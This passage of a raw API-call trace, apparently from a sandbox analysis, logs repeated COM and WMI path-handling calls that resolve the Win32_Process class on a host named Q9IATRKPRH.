pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0151.869] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0151.869] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0151.869] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0151.869] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0151.869] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0151.869] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.871] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1a9ec9d0) returned 0x0 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec9d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0151.872] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec9d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc94ab0) returned 0x0 [0151.872] WbemDefPath:IUnknown:Release (This=0x1a9ec9d0) returned 0x0 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc94ab0) returned 0x0 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0151.872] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0151.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1a9ec9f0) returned 0x0 [0151.873] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec9f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.873] WbemDefPath:IUnknown:Release (This=0x1a9ec9f0) returned 0x3 [0151.873] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0151.873] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0151.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0151.873] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0151.873] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x1 [0151.873] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0151.873] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0151.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ab0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc94ab0) returned 0x0 [0151.873] WbemDefPath:IUnknown:AddRef (This=0x1bc94ab0) returned 0x3 [0151.873] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x2 [0151.873] WbemDefPath:IWbemPath:SetText (This=0x1bc94ab0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.874] IWbemClassObject:Get (in: This=0x1bb93e40, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.874] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0151.874] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0151.874] IWbemClassObject:Get (in: This=0x1bb93e40, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.874] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0151.875] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0151.875] IWbemClassObject:Get (in: This=0x1bb93e40, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.875] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0151.875] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0151.875] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.875] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.875] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.875] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.877] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9ec6b0) returned 0x0 [0151.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec6b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.877] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec6b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc949f0) returned 0x0 [0151.877] WbemDefPath:IUnknown:Release (This=0x1a9ec6b0) returned 0x0 [0151.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc949f0) returned 0x0 [0151.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.878] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0151.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ec5f0) returned 0x0 [0151.878] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec5f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.878] WbemDefPath:IUnknown:Release (This=0x1a9ec5f0) returned 0x3 [0151.878] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.878] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.878] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0151.878] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x1 [0151.878] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.878] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc949f0) returned 0x0 [0151.878] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0151.878] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0151.878] WbemDefPath:IWbemPath:SetText (This=0x1bc949f0, uMode=0x4, pszPath="") returned 0x0 [0151.878] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.878] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.878] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.878] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.880] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9ec6b0) returned 0x0 [0151.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec6b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.880] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec6b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94870) returned 0x0 [0151.880] WbemDefPath:IUnknown:Release (This=0x1a9ec6b0) returned 0x0 [0151.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94870) returned 0x0 [0151.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.881] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0151.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ec630) returned 0x0 [0151.881] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.881] WbemDefPath:IUnknown:Release (This=0x1a9ec630) returned 0x3 [0151.881] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.881] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.881] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0151.881] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x1 [0151.881] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.881] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94870) returned 0x0 [0151.881] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0151.881] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0151.881] WbemDefPath:IWbemPath:SetText (This=0x1bc94870, uMode=0x4, pszPath="") returned 0x0 [0151.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc949f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.881] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc94870, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0151.881] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94870, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0151.881] WbemDefPath:IWbemPath:SetServer (This=0x1bc94870, Name="Q9IATRKPRH") returned 0x0 [0151.881] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.881] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.881] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.882] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.883] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9ec650) returned 0x0 [0151.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec650, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.883] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec650, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc947b0) returned 0x0 [0151.883] WbemDefPath:IUnknown:Release (This=0x1a9ec650) returned 0x0 [0151.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc947b0) returned 0x0 [0151.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.884] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0151.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ec4b0) returned 0x0 [0151.884] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec4b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, 